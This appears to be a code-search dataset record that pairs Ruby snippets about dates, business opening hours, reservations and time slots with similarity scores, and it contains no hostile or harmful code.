4},\n # {time: '10:30 AM', enabled: false, selected: false, index: 5},\n # {time: '11:00 AM', enabled: false, selected: false, index: 6},\n # {time: '11:30 AM', enabled: true, selected: false, index: 7},\n # {time: '12:00 PM', enabled: true, selected: false, index: 8},\n # {time: '12:30 PM', enabled: true, selected: false, index: 9},\n # {time: '1:00 PM', enabled: false, selected: false, index: 10},\n # {time: '1:30 PM', enabled: true, selected: false, index: 11},\n # {time: '2:00 PM', enabled: false, selected: false, index: 12},\n # {time: '2:30 PM', enabled: false, selected: false, index: 13},\n # {time: '3:00 PM', enabled: true, selected: false, index: 14},\n # {time: '3:30 PM', enabled: true, selected: false, index: 15},\n # {time: '4:00 PM', enabled: true, selected: false, index: 16},\n # {time: '4:30 PM', enabled: false, selected: false, index: 17},\n # {time: '5:00 PM', enabled: true, selected: false, index: 18},\n # {time: '5:30 PM', enabled: true, selected: false, index: 19}]}\n\n end", "def dates\n\t\t@times = { \n\t\t\t:haiti=>{\n\t\t\t\t:one_week_before=>\tTime.new(2010,01,5),\n\t\t\t\t:event\t\t\t=>\tTime.new(2010,01,12),\n\t\t\t\t:one_week_after\t=>\tTime.new(2010,01,19),\n\t\t\t\t:dw_end\t\t\t=>\tTime.new(2010,02,12)\n\t\t\t},\n\n\t\t\t:philippines=>{ \n\t\t\t\t:one_week_before=>\tTime.new(2013,11,1),\n\t\t\t\t:event\t\t\t=>\tTime.new(2013,11,8),\n\t\t\t\t:one_week_after\t=>\tTime.new(2013,11,15),\n\t\t\t\t:dw_end\t\t\t=>\tTime.new(2013,12,8)\n\t\t\t},\n\t\t\t:phil=>{ \n\t\t\t\t:one_week_before=>\tTime.new(2013,11,1),\n\t\t\t\t:event\t\t\t=>\tTime.new(2013,11,8),\n\t\t\t\t:one_week_after\t=>\tTime.new(2013,11,15),\n\t\t\t\t:dw_end\t\t\t=>\tTime.new(2013,12,8)\n\t\t\t}\n\t\t}\n\tend", "def get_date_array\n # Prepare query url.\n _query_builder = config.get_base_uri\n _query_builder << '/response/date'\n _query_builder = APIHelper.append_url_with_query_parameters(\n _query_builder,\n 'array' => true\n )\n _query_url = APIHelper.clean_url _query_builder\n\n # Prepare headers.\n _headers = {\n 'accept' => 'application/json'\n }\n\n # Prepare and execute HttpRequest.\n _request = config.http_client.get(\n _query_url,\n headers: _headers\n )\n _response = execute_request(_request)\n\n # Validate response against endpoint and global error codes.\n return nil if _response.status_code == 404\n validate_response(_response)\n\n # Return appropriate response type.\n decoded = APIHelper.json_deserialize(_response.raw_body)\n decoded.map { |element| Date.iso8601(element) }\n end", "def opening_hours\n hours = @data[:godziny_pracy]\n keys = {weekdays: :dni_robocze, saturdays: :soboty, sundays: :niedz_i_sw}\n Hash[\n keys.map do |h, x|\n value = unless hours[x].nil?\n [hours[x][:godziny].to_s, hours[x][:uwagi].to_s]\n end\n\n [h, value]\n end\n ]\n end", "def find_date_range\n date1 = find_date\n date2 = find_date\n return (date1 > date2) ? [date2, date1] : [date1, date2]\nend", "def neighborhood_openings(start_date, end_date)\n self.listings.select {|l| l.reservations.where(\"checkout < start_date OR checkin > end_date\")}\n end", "def open?\n\t\t@time = Time.now.to_formatted_s(:time)\n\t\t#Recupere le numero du jour actuel\n\t\tday = Time.now\n\t\tday = day.strftime(\"%w\")\n\t#Recupere l'operating_hour du jour actuel\n\t\t@open = self.operating_hours.find_by(day: day)\n\t\t@open.update(close_soon: false)\n\n\t\t@open_time = @open[:open].to_formatted_s(:time)\n\t\t@close_time = @open[:close].to_formatted_s(:time)\n\n\n\t\tif @open_time < @close_time\n\t\t\tif @time >= @open_time && @time <= @close_time\n\t\t\t\tif @time >= @open[:close] - 60*30\n\t\t\t\t\t@open.update(close_soon: true)\n\t\t\t\tend\n\t\t\treturn true\n\t\t\telse\n\t\t\treturn false\n\t\t\tend\n\t\telse\n\t\t\tif @time <= @open_time && @time >= @close_time\n\t\t\t\treturn false\n\t\t\t\telse\n\t\t\t\t\tif @time >= @open[:close] - 60*45\n\t\t\t\t\t\t@open.update(close_soon: true)\n\t\t\t\t\tend\n\t\t\t\treturn true\n\t\t\t\tend\n\t\t\tend\n\tend", "def open?\n (start_date..end_date).cover?(Date.current)\n end", "def getStockDataOnSpecificDate(stock, date)\n stock = stock.upcase\n if !@stocks.include?(stock) # Checks if stock exists\n return \"Invalid stock entered\"\n elsif !@days.include?(date) # Checks if date exists\n return \"Invalid date entered\"\n end\n @data.each do |key, value|\n if key.to_s == stock.to_s\n value.each_with_index do |curr, i|\n if curr[:date].to_s == date # If match is found for that date for the stock\n return \"Closing stock price for #{stock} on #{date} is #{curr[:close]}\"\n break\n end\n end\n break\n end\n end\n end", "def get_rooms_by_date(date)\n\t\t\tunavail_rooms = get_reservations_by_date(date).map { |reservation| reservation.room }\n\t\t\treturn @rooms - unavail_rooms\n\t\tend", "def all_dates\n return (@start_date...@end_date).to_a\n end", "def reserved_slots(date)\n Reservation.confirmed.where(nook_id: self.id)\n .happening_within(date.beginning_of_day..date.end_of_day)\n .map do |r|\n r.start.strftime('%H%M').to_i..\n (r.end + 1.seconds).strftime('%H%M').to_i\n end\n end", "def list_reservations(date)\n res_on_date = @reservations.select do |reservation|\n date >= reservation.start_date && date < reservation.end_date\n end\n \n return res_on_date\n end", "def getDatesFrom(date)\n if recurring\n events = recurrence.getDatesFrom(date).sort_by &:start\n events = Event.submitted\n publishedEvents = Array.new\n events.each do |event|\n\n #This is defined in Event.state enum\n enumValue = 4\n kidsReadyToPublish = event.revisions.where(\"state = ?\", enumValue)\n if kidsReadyToPublish.count > 0\n if (kidsReadyToPublish.last.recurring)\n publishedEvents.push(kidsReadyToPublish.last)\n end\n else\n if !event.parent.present?\n publishedEvents.push(event)\n end\n end\n end\n return publishedEvents\n end\n end", "def calculated_dates\n [period1_from_date,period1_end_date,\n period2_from_date, period2_end_date] \n end", "def commit_dates\n dated_pixels.select { |date,active| active }.map(&:first)\nend", "def surrounding_vix_futures_expirations(date=Date.today)\n previous_exp = next_exp = nil\n File.open(vix_futures_expirations_file) do |f|\n while line = f.readline()\n next_exp, symbol = process_line(line)\n if date <= next_exp\n break\n else\n previous_exp = next_exp\n end\n end\n end\n [previous_exp, next_exp]\n end", "def city_openings(start_date, end_date)\n Listing.find_openings(listings, Date.parse(start_date), Date.parse(end_date))\n end", "def day_events(date, events)\n events.select { |e| e.start_time.to_date == date }\n end", "def day_events(date, events)\n events.select { |e| e.start_time.to_date == date }\n end", "def reservations_by_date(date)\n date = Date.parse(date)\n list_res = []\n @reservations.each do |reservation|\n if reservation.check_in_date <= date && reservation.check_out_date >= date\n list_res << reservation\n end\n end\n return list_res\n end", "def get_reservations_by_date(date)\n\t\t\tfound_reservations = []\n\n\t\t\t@reservations.each do |reservation|\n\t\t\t\tif reservation.range.include_single_date?(date)\n\t\t\t\t\tfound_reservations << reservation\n\t\t\t\tend\n\t\t\tend\n\n\t\t\treturn found_reservations\n\t\tend", "def neighborhood_openings(start_date, end_date)\n Listing.find_openings(listings, Date.parse(start_date), Date.parse(end_date))\n end", "def closed(opts={})\n ordered(:closed_at)\n date_time_filter(:closed_at, time_range(opts[:on], opts[:during], opts[:since], opts[:until]))\n self\n end", "def closed_date_time=(value)\n @closed_date_time = value\n end", "def closing_stock\n closing_stock_on_date(Time.zone.now.to_date, nil)\n end", "def check_for_closed_incidents\n incidents.where(status: 'Closed').each(&:check_closed_at_time)\n end", "def get_date(day, hours)\n current_time = Time.new #(2015,7,26) Preset date for testing. Should be current time\n if day.to_i > current_time.day\n month = current_time.month\n year = current_time.year\n else\n if current_time.month + 1 > 12\n month = 1\n year = current_time.year + 1\n else\n month = current_time.month + 1\n year = current_time.year\n end\n end\n year = year.to_i\n month = month.to_i\n day = day.to_i\n hours = hours.split('-')\n hours.map { |str| str.gsub!(/\\s+/, \"\") } #removes all white space\n hours[0] = ((hours[0].to_i != 12 && hours[0].to_i > 6) ? hours[0] + \"am\" : hours[0] + \"pm\") #adjusts hours to a 24 hour clock. Pivots at 6\n hours[1] = (hours[1].downcase.include?(\"close\") ? \"8pm\" : hours[1] + \"pm\") #sets \"close\" to be 8pm\n hours.map! { |time| DateTime.parse(time).strftime(\"%H:%M:%S\") }\n start_time = DateTime.parse(\"#{year}-\" + sprintf(\"%02d\", month) + \"-\" + sprintf(\"%02d\", day) + \"T#{hours[0]}\" + \"-0700\")\n end_time = DateTime.parse(\"#{year}-\" + sprintf(\"%02d\", month) + \"-\" + sprintf(\"%02d\", day) + \"T#{hours[1]}\" + \"-0700\")\n return { :start => start_time, :end => end_time }\nend", "def open\n return start_date <= Time.now.to_date && end_date >= Time.now.to_date\n end", "def get_datetime_array\n # the base uri for api requests\n _query_builder = Configuration.base_uri.dup\n\n # prepare query string for API call\n _query_builder << '/response/datetime'\n\n # process optional query parameters\n _query_builder = APIHelper.append_url_with_query_parameters _query_builder, {\n 'array' => true\n }\n\n # validate and preprocess url\n _query_url = APIHelper.clean_url _query_builder\n\n # prepare headers\n _headers = {\n 'user-agent' => 'Stamplay SDK',\n 'accept' => 'application/json'\n }\n\n # Create the HttpRequest object for the call\n _http_request = @http_client.get _query_url, headers: _headers\n \n # Call the on_before_request callback\n @http_call_back.on_before_request(_http_request) if @http_call_back\n\n # Invoke the API call and get the response\n _response = @http_client.execute_as_string(_http_request)\n\n # Call the on_after_response callback\n @http_call_back.on_after_response(_response) if @http_call_back\n\n # Endpoint error handling using HTTP status codes.\n if _response.status_code == 404\n return nil\n end\n\n # Global error handling using HTTP status codes.\n validate_response(_response)\n\n # Return appropriate response type\n decoded = APIHelper.json_deserialize(_response.raw_body)\n return decoded.map{|element| DateTime.iso8601(element)}\n end", "def dates(start_date, end_date)\n @start = start_date.to_date\n @end = end_date.to_date\n @array_array_dates = []\n @range = (@start..@end)\n\n @dates = @range.map do |date|\n @day = date.day\n @month = date.mon - 1\n @year = date.year\n date = []\n date << @year\n date << @month\n date << @day\n @array_array_dates << date\n end\n return @array_array_dates\n end", "def past_dates\n return [] if charge_start_date >= Time.zone.today\n\n (past_start_date..past_end_date).map { |date| parse(date) }\n end", "def commit_time_line events\n events.map(&:date).uniq.sort.each_cons(2).map {|before,after| [before, (after.to_i - before.to_i) / (60 * 60 * 24)] }\nend", "def ranges(date)\n ranges =[]\n bra_doc = bra_per_day(date)\n bra_doc.each do |element|\n ranges << element[\"massif\"]\n end\n p ranges\n end", "def get_time_slot_array\n time_slot_array = [\"07:00\", \"07:30\", \"08:00\", \"08:30\", \"09:00\", \"09:30\", \"10:00\", \"10:30\",\n \"11:00\", \"11:30\", \"12:00\", \"12:30\", \"13:00\", \"13:30\", \"14:00\", \"14:30\",\n \"15:00\", \"15:30\", \"16:00\", \"16:30\", \"17:00\", \"17:30\", \"18:00\", \"18:30\",\n \"19:00\", \"19:30\", \"20:00\", \"20:30\", \"21:00\"]\n end", "def day_events(date, events)\n events.select { |e| e.start_time.to_date == date }.sort_by { |e| e.start_time }\n end", "def dates(start_at, end_on)\n start_at.to_datetime.step(end_on).select { |d| d.cwday == @day }\n end", "def closed_arr flg=true\n result = ['closed', 'removed', 'inactive', 'expired'] \n flg ? (result << 'sold') : result\n end", "def closing_stock_on_date(given_date, branch_id)\n opening_stock_on_date(given_date.tomorrow, branch_id)\n end", "def find_day_reservations(date)\n day_reservations = all_reservations.select do |number, reservation|\n start_date = reservation.check_in\n end_date = reservation.check_out\n (start_date...end_date).include?(Date.parse(date)) && reservation.status == :CONFIRMED\n end\n \n return day_reservations\n end", "def in_house_calendar(times)\n sorted = times.sort { |x, y| x[0] <=> y[0] }\n res = [sorted[0]]\n\n temp = nil\n sorted[1..-1].each do |time|\n if time[0] < res[-1][1] && time[0] > res[-1][0]\n last = time[1] > res[-1][1] ? time[1] : res[-1][1]\n temp = ([res[-1][0], last])\n res.pop\n res.push(temp)\n elsif res[-1][1] == time[0]\n res[-1][1] = time[1]\n else\n res.push(time)\n end\n end\n res\nend", "def get_time row \n\ttimes = JSON.parse \"{ #{row[\"opening_times\"]} }\"\n\tdefault = times[\"opening_times\"][\"default\"] rescue nil\n\tif default \n\t\ttime_string = \"\"\n\t\tdefault.each do |tt|\n\t\t\ttime_string += \"#{tt[\"days\"]} #{tt[\"open_in\"]} #{tt[\"open_out\"]} #{tt[\"close_in\"]} #{tt[\"close_out\"]}|\"\t\n\t\tend\n\t\treturn time_string.chop!\n\tend\n\treturn nil\nend", "def ranges(date)\n ranges =[]\n bra_doc = bra_per_day(date)\n bra_doc.each do |element|\n ranges << element[\"massif\"]\n end\n ranges\nend", "def sorted_dates\n self.time_slots.sort_by(&:scheduled)\n end", "def find_booked(date)\n rooms_booked = []\n @reservations.each do |reservation|\n if reservation.reservation_date_range.start_date == date.start_date && reservation.reservation_date_range.end_date == date.end_date\n rooms_booked << reservation\n end\n end\n return rooms_booked\n end", "def date(date_name)\r\n case date_name\r\n when :start\r\n return self.accommodation_histories.last.from\r\n when :end\r\n return self.accommodation_histories.last.to\r\n else\r\n return 0\r\n end\r\n end", "def closest_date_for(symbol, date)\n my_date = date.beginning_of_day\n dates = dates_for(symbol)\n if dates.include?(my_date)\n return my_date\n else\n my_date < dates.min ?\n dates.min :\n dates.max\n end\n end", "def payment_dates_array_up_to_date(date)\n start_enrollment = self.order('enrollment_date ASC').limit(1).first\n stop_enrollment = self.order('cancel_date DESC').limit(1).first\n \n if start_enrollment and stop_enrollment \n start = start_enrollment.enrollment_date\n stop = stop_enrollment.cancel_date\n payment_dates_array = []\n \n if date < stop_enrollment.cancel_date\n length_in_months = Date.length_in_months_including_last(start, date)\n else\n length_in_months = Date.length_in_months_including_last(start, stop)\n end\n \n length_in_months.times do |add_month|\n payment_dates_array << ((start + Payment::DATE_SPACER) >> add_month)\n end\n return payment_dates_array\n else\n return []\n end \n end", "def close(date_time)\n self.update_attributes({:closed => date_time})\n end", "def get_time_entries(start_date=nil, end_date=nil)\n options = Hash.new\n options[\"start_date\"] = iso8601_date(start_date) if start_date\n options[\"end_date\"] = iso8601_date(end_date) if end_date\n get \"/time_entries\", options\n end", "def time_range_for(open_time, close_time)\n content_tag :span, class: 'opening-hours' do\n \"#{hour_content_for(open_time, 'opens-at')} - \" \\\n \"#{hour_content_for(close_time, 'closes-at')}\".html_safe\n end\n end", "def find_closed_dmd\r\n r = []\r\n rt = ReqTracker.new\r\n rt.dmd.list.each { |line|\r\n next if (line[Dmd::STATUS] != \"CLOSED\" and line[Dmd::STATUS] != \"NO ACTION\")\r\n dmd_id = line[Dmd::NUMBER]\r\n dmd = @lists.search_by_dmd_number(dmd_id)\r\n r << dmd if(dmd != nil and dmd.status != 'Decided' and dmd.status != 'Closed' and dmd.status != 'Rejected')\r\n } \r\n r\r\n end", "def opening_time\n opening_time = Time.new(2020, 10, 07, @opening_time[0..1], @opening_time[3..4])\n opening_time.strftime(\"%k:%M\")\n end" ]
[ "0.64534926", "0.6409739", "0.63603306", "0.6299311", "0.6200742", "0.61581165", "0.6029236", "0.5951282", "0.5842453", "0.5797058", "0.5791879", "0.57281333", "0.5622623", "0.55761486", "0.55488986", "0.5543903", "0.54923105", "0.5436157", "0.54332745", "0.5417022", "0.54121935", "0.53560746", "0.53435004", "0.53084147", "0.53075933", "0.5228647", "0.5202172", "0.5180739", "0.51767886", "0.51691777", "0.51504844", "0.5141539", "0.510688", "0.50718594", "0.50491565", "0.5047966", "0.5020568", "0.50163347", "0.5014841", "0.5008512", "0.499407", "0.49925295", "0.499128", "0.49896133", "0.4985669", "0.49769756", "0.4970607", "0.4969475", "0.49684933", "0.49609375", "0.49482784", "0.4947202", "0.49395686", "0.49302036", "0.49109662", "0.49105194", "0.4904199", "0.48954102", "0.48918653", "0.489138", "0.48892", "0.48793983", "0.48747993", "0.48717478", "0.48659658", "0.4863472", "0.4863472", "0.48567745", "0.48525724", "0.48257044", "0.48251486", "0.48240244", "0.48173547", "0.48167753", "0.48112303", "0.48087147", "0.47860804", "0.4782599", "0.47823432", "0.47750786", "0.47748223", "0.47748", "0.47629637", "0.47553128", "0.4752282", "0.47518328", "0.4751706", "0.47512165", "0.4749805", "0.47463414", "0.47429386", "0.47312668", "0.47304913", "0.4728358", "0.47234923", "0.4719933", "0.47184622", "0.47146615", "0.47051322", "0.47004077" ]
0.82159126
0
the length of time available during a specified day to do work e.g., there are 6 hours available if we open at 9:00 AM, close at 3:00 PM, and the item was dropped off at 9:00 AM there are 5 hours available if we open at 9:00 AM, close at 3:00 PM, and the item was dropped off at 10:00 AM
def work_time(date) open, closed = open_close_times(date) closed - open - time_already_open(date) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def time_length\n (end_time.hour - start_time.hour) + (end_time.min - start_time.min) / 60.0\n end", "def hours_left\n remaining = WorkingTime::Interval.new(self, close_of_business)\n return remaining.duration\n end", "def min_available_talks_time_in_a_day\n 6*60\n end", "def length\n return 0.0/0.0 unless depart_time && return_time\n (return_time - depart_time)/60\n end", "def day_length day_timelimit\n case day_timelimit\n when 1\n return \"336 hours (2 weeks)\"\n when 2\n return \"168 hours (1 week)\"\n when 3\n return \"120 hours (5 days)\"\n when 4\n return \"72 hours (3 days)\"\n when 5\n return \"48 hours (2 days)\"\n when 6\n return \"24 hours (1 day)\"\n when 7\n return \"12 hours\"\n when 8\n return \"6 hours\"\n when 9\n return \"3 hours\"\n when 10\n return \"2 hours\"\n when 11\n return \"1 hour\"\n when 12\n return \"30 minutes\"\n when 13\n return \"15 minutes\"\n when 14\n return \"10 minutes\"\n when 15\n return \"5 minutes\"\n else\n return \"Error\"\n end\n end", "def night_length night_timelimit\n case day_timelimit\n when 1\n return \"336 hours (2 weeks)\"\n when 2\n return \"168 hours (1 week)\"\n when 3\n return \"120 hours (5 days)\"\n when 4\n return \"72 hours (3 days)\"\n when 5\n return \"48 hours (2 days)\"\n when 6\n return \"24 hours (1 day)\"\n when 7\n return \"12 hours\"\n when 8\n return \"6 hours\"\n when 9\n return \"3 hours\"\n when 10\n return \"2 hours\"\n when 11\n return \"1 hour\"\n when 12\n return \"30 minutes\"\n when 13\n return \"15 minutes\"\n when 14\n return \"10 minutes\"\n when 15\n return \"5 minutes\"\n else\n return \"Error\"\n end\n end", "def length_of_stay\n (self.date_end.to_date - self.date_start.to_date).to_i - 1\n end", "def length\n difference = (self.end_time.to_datetime - self.begin_time.to_datetime).to_f\n if difference.approx( HALF_DAY, 0.01)\n 0.5\n elsif difference.approx( WHOLE_DAY, 0.01)\n 1.0\n else\n included_dates.reject {|d| black_out?(d)}.length.to_f\n end\n end", "def entry_duration(entry)\n (entry.scheduled_datetime - entry.completed_datetime) / 1.hour\n end", "def time_days() (@time_end.jd - @time_start.jd) + 1; end", "def duration_with_work_days\n if self.start_date && self.due_date\n RedmineBetterGanttChart::Calendar.workdays_between(self.start_date, self.due_date)\n else\n 0\n end\n end", "def calculate_worktime\n times = retrieve_worktime\n if (times[:over] > 0)\n time = times[:over]\n else\n time = times[:during] + times[:into] + times[:beyond]\n end\n \"Worktime:; #{time} h\"\n end", "def reservation_time\n\t\trestaurant = Restaurant.find(self.restaurant_id)\n\t\tday = self.requested_date_time.strftime(\"%A\").downcase\n\n\t\topen_time = get_time(restaurant, day, \"open\")\n\t\tclose_time = get_time(restaurant, day, \"close\")\n\t\tcheck_if_restaurant_closed(open_time)\n\n\t\tif open_time\n\t\t\topen_time = convert_time_to_decimal(open_time)\n\t\t\tclose_time = convert_time_to_decimal(close_time)\n\t\t\tclose_time = close_time + 24 if close_time < open_time # Add a full day if close time is less than open time\n\t\t\trequested_time = convert_time_to_decimal(self.requested_date_time)\n\t\t\tlatest_reservation_time = close_time - 0.5 # Subtract half hour from close time\n\t\t\tcheck_reservation_during_allowed_hours(open_time, latest_reservation_time, requested_time)\n\t\tend\n\tend", "def days_hours_worked(date_and_times)\n days_hours_worked = 0\n day_periods(date_and_times).split(',').each do |day_period, index|\n beginning_of_period, end_of_period = day_period.strip.split('-')\n beginning_of_period = beginning_of_period.strip\n end_of_period = end_of_period.strip\n begin_time = DatelessTime.new(beginning_of_period).to_time\n end_time = DatelessTime.new(end_of_period).to_time\n days_hours_worked += (end_time - begin_time)/60/60\n end\n days_hours_worked\nend", "def minutes_worked_today_until(date_time)\n return 0 unless working_day?(date_time)\n work_day = get_work_day(date_time)\n t = to_work_time(date_time)\n return 0 if t < work_day.start_time\n return total_working_minutes(date_time) if t > work_day.end_time\n end_time = to_work_time(date_time)\n end_time - work_day.start_time\n end", "def calculate_overtime_hours_from(from_time, grouping)\n overtime_hours = (from_time - grouping.due_date) / 1.hour\n # If the overtime is less than 0, that means it was submitted early, so\n # just return 0 - otherwise, return overtime_hours.\n [0, overtime_hours].max\n end", "def get_duration\n ((finish - start) / 60 / 60) - (break_length / 60)\n end", "def event_length(event, date)\n starting_hour = (((event.start_at).to_s).slice(10..13)).to_i\n starting_minute = (((event.start_at).to_s).slice(14..15)).to_i\n ending_hour = (((event.end_at).to_s).slice(10..13)).to_i\n ending_minute = (((event.end_at).to_s).slice(14..15)).to_i\n\n total_hours = ending_hour - starting_hour\n total_minutes = ending_minute - starting_minute\n\n if (total_minutes < 0)\n total_minutes = total_minutes + (-1)\n total_hours -= 1\n end\n\n total_time = (total_hours*3600) + (total_minutes * 60)\n if (event.end_at).to_date > date.to_date\n return 945\n end\n length = (945.0/86400) * total_time\n end", "def remaining_time()\n return @total_time_units - @done_time_units\n end", "def lesson_length\n seconds = self.end_at - self.start_at\n seconds / 3600.0\n end", "def remaining_hours\n \n end", "def get_worked_hours start_time, end_time\n start_time = DateTime.new(start_time.year, start_time.month, start_time.day, start_time.hour, start_time.min, start_time.sec)\n end_time = DateTime.new(end_time.year, end_time.month, end_time.day, end_time.hour, end_time.min, end_time.sec)\n hours_diff = ((end_time.to_time - start_time.to_time) / 1.hours ).round(2)\n hours_diff *= -1 if hours_diff < 0\n return hours_diff\n end", "def entry_duration(entry)\n if !entry.completed_datetime.nil?\n (entry.completed_datetime - entry.scheduled_datetime) / 1.hour\n else\n 0.0\n end\n end", "def total_hours_per_week\n exsisting_shift_hour = Schedule.where(start_time: Date.today-7..Date.today, employee_id: self.employee_id).sum('shift_hour')\n current_shift_hour = self.id.present? ? 0 : (self.end_time - self.start_time)/3600\n if (current_shift_hour + exsisting_shift_hour) > 40\n errors.add(:start_time, 'must be less than equal to 40 per week')\n end\n end", "def calculate\n intervals = intervals_in_range\n\n # How many minutes is left to work\n @left_minutes = total_work_minutes\n\n @days = get_work_intervals(intervals).map do |interval_group|\n interval_group.sort! { |a, b| a.id <=> b.id }\n date = interval_group.first.time_in.to_date\n\n work_day_minutes = get_minutes_in_day(date)\n\n left_today =\n if @left_minutes >= work_day_minutes\n work_day_minutes\n else\n @left_minutes\n end\n\n # Amount of minutes worked during this day\n total_worked = interval_group.sum(&:minutes_worked)\n\n @left_minutes -= total_worked\n # Indicates whether user worked more or less (overtime or undertime) in that day,\n # than he should\n # true - overtime, false - undertime\n is_overtime = total_worked > left_today\n\n # Difference between minutes user worked and minutes he has to work\n # Basically shows how many minutes he has over or underworked\n overtime_minutes = (left_today - total_worked).abs\n\n is_finished = interval_group.all?(&:finished?)\n\n WorkDay.new(intervals: interval_group,\n date: date,\n total_worked: total_worked,\n is_overtime: is_overtime,\n overtime_minutes: overtime_minutes,\n is_finished: is_finished,\n is_missing: false,\n is_day_off: day_off?(date))\n\n end\n\n @total_overtime = days.sum(&:overtime)\n\n # Ideal time when day should be finished\n # Calculated depending on how many hours should be worked at this day\n @day_ends_at = nil\n if unfinished_day\n left_today = get_minutes_in_day(Date.current) - unfinished_day.total_worked\n left_today = @left_minutes if @left_minutes < left_today\n @day_ends_at = Time.zone.now + left_today * 60\n end\n\n # TODO: when to finish work (distributed overtime between rest of days)\n end", "def days_remaining\n if published?\n (ends_at.end_of_day.utc - DateTime.now.utc).to_i\n else\n days_open\n end\n end", "def duration\n if ending >= beginning\n (ending.to_i - beginning.to_i)\n else\n start_of_day = TimeOfDay.new(0,0,0)\n end_of_day = TimeOfDay.new(23,59,59)\n duration_day_1 = (end_of_day.to_i - beginning.to_i) + 1\n duration_day_2 = (ending.to_i - start_of_day.to_i)\n duration_day_1 + duration_day_2\n end\n end", "def workdays_in_range\n end_time ? (start_time.to_date..end_time.to_date).select { |d| (1..5).cover?(d.wday) }.size - offset : 1\n end", "def total_work_minutes\n @date_range.inject(0) do |minutes, date|\n # Do not count days off\n minutes += get_minutes_in_day(date) unless day_off?(date)\n minutes\n end\n end", "def worked(start_date = DateTime.now, end_date = start_date)\n self.timeslips(start_date, end_date).collect do |timeslip|\n timeslip.hours\n end.inject(0) { |sum, i| sum += i }\n end", "def days_remaining_round_down\n (self.program_budge.duration_in_days) - self.day_of_budge\n end", "def date_calc(start,day_start,day_duration,round)\n time=start;schedule=[]\n round.size.times do |r|\n#print day_start+day_duration;print \"\\n\"\n if time >= day_start + day_duration\n#print time;print \"\\n\"\n time=day_start+1.day\n day_start = time\n end\n schedule[r] = time\n time+=HEAT_INTERVAL\n end\n\n return schedule\n end", "def get_working_hours_total\n @total_hours = 0.0\n unless @saved_time_entries.empty?\n @total_hours = @saved_time_entries.map(&:actual_duration).inject(0) do |total,duration|\n actual_duration = @dur_setng_is_one100th ? one_hundredth_timediffernce(duration) : one_tenth_timediffernce(duration)\n total.to_f.roundf2(2) + actual_duration.to_f\n end\n @total_hours = @total_hours.to_f.roundf2(2)\n end\n @total_hours || 0.0\n end", "def get_time_remaining\n\n end", "def ticket_worked_time(ticket)\n ChronicDuration.output(ticket.worked_minutes * 60, format: :long)\n end", "def availability start_time, end_time\n hours = ((end_time - start_time) / 3600).round - 1\n available = (0..hours).to_a.collect do |hour|\n best_selling_price_at(start_time + hour.hours, [start_time, end_time])\n end.compact\n\n available.length*1.0 / (hours+1)*1.0 * 100\n end", "def total_working_minutes(date_time)\n return 0 unless working_day?(date_time)\n work_day = get_work_day(date_time)\n work_day.total_minutes\n end", "def daysToSailing\n (self.departure_date.to_time.to_i - Date.today.to_time.to_i) / 60 / 60 / 24\n end", "def calc_days_till\n (calc_hours_till / 24.00).round(2)\n end", "def get_time_required\n 0 # number of minutes\n end", "def total_time\n minutes_to_human_readable_time(entries.internal.sum(:duration) + expected_remaining_work * 60)\n end", "def days() 24 * hours end", "def planned_duration\n planned_value_by_week.count - 1 \n end", "def duration(holidays)\n vacation_range_duration - day_offs(holidays)\n end", "def duration\n e_date = start_date\n all_tasks.each do |task|\n e_date = task.end_date if task.end_date > e_date\n end\n (e_date - start_date).to_i\n end", "def days_remaining\n (self.program_budge.duration_in_days+1) - self.day_of_budge\n end", "def length\n (Date.week_days(@start_date, @end_date) - Personel.holidays).size\n end", "def total_time_exercise_workouts\n self.exercise_workouts.select do |ex|\n ex.duration\n end\n end", "def days_on_market\n return 0 if Time.now < @available_at\n day = 1*24*60*60\n ((Time.now - @available_at)/ day).floor\n end", "def seconds_in_day_from(time)\n if @is_closed || time > time.set_time_to( @closing_time )\n 0\n else\n time.set_time_to( @closing_time ) - start_time(time)\n end\n end", "def update_time_worked\n\n time_entries = self.time_card.time_entry\n total_hours = 0\n # Ordering by time so the total hours can be calculated.\n # An odd array will have [start_time1, end_time1, start_time2]\n # and the total_hours_worked = start_time1 - end_time1\n # An even array will have [start_time1, end_time1, start_time2, end_time 2]\n # and the total_hours_worked = (start_time1 - end_time1) + (start_time2 - end_time2)\n\n time_entries = time_entries.order(time: :asc)\n time_entries_count = time_entries.count\n\n i = 0\n while i < time_entries_count and i+1 < time_entries_count\n start_time = time_entries[i].time\n end_time = time_entries[i+1].time\n i = i+2\n total_hours = total_hours + time_diff(start_time, end_time).to_i\n end\n\n if time_entries_count == 1\n self.time_card.update_attribute(:total_hours_worked, 0)\n else\n self.time_card.update(:total_hours_worked => total_hours)\n end\n\n end", "def time_duration(mytime, start_time, end_time)\n # implement this\n return 9999999\n end", "def how_many_available_on(day, hour)\n who_is_available_on(day, hour).size\n end", "def remaining_hours_by_day\n values_by_day(0, true) { |x| model.remaining_hours_for_day_number(x) }\n end", "def length\n end_date.days_from(start_date).to_i\n end", "def calculate_time\n if @event.present? && @event.ends != nil\n event_time = @event.ends - @event.starts\n \n if event_time < 3600\n difference = ((event_time / 60) % 60)\n @event_difference = \"#{difference.round(0)} minutes\"\n else\n difference = event_time / (60 * 60)\n if difference == 1 \n @event_difference = \"#{difference.round(0)} hour\"\n else\n @event_difference = \"#{difference.round(1)} hours\"\n end\n end\n end\n end", "def effective_end_time\n if start_time.nil?\n accommodated_end_time\n else\n [start_time + accommodated_duration, accommodated_end_time].min\n end\n end", "def time_slot_duration(time_slot)\n diff = time_slot.ends_at - time_slot.starts_at\n diff += 2400 if diff < 0\n hour, minute = diff.divmod 100\n result = \"#{hour}hr\"\n result << \" #{minute}min\" unless minute == 0\n result\n end", "def get_time_length \n send_cmd(\"get_time_length\")\n end", "def effective_duration\n if start_time.nil?\n accommodated_duration\n else\n effective_end_time - start_time\n end\n end", "def get_duration()\n puts \"The task will take #{(@date_end - @date_start).to_i} days\"\n end", "def longest_day_length\nend", "def time_until_match(match)\n time_until = Time.diff(Time.now, match.start_time)\n if time_until[:day] < 1 and time_until[:hour] < 18\n time_until = Time.diff(Time.now, match.start_time, '%h:%m:%s')\n time_until[:diff]\n elsif time_until[:week] >= 1\n time_until = Time.diff(Time.now, match.start_time, '%w')\n time_until[:diff]\n elsif time_until[:day] == 1 or (time_until[:hour] >= 18 and time_until[:day] == 0)\n \"Tomorrow\"\n elsif time_until[:day] > 1 \n time_until = Time.diff(Time.now, match.start_time, '%d')\n time_until[:diff]\n end\n end", "def hours_available_for(user)\n milestone_resource = milestone_resources.where(resource_id: user).first\n self.duration.to_f * milestone_resource.try(:available_hours_per_day).to_f\n end", "def 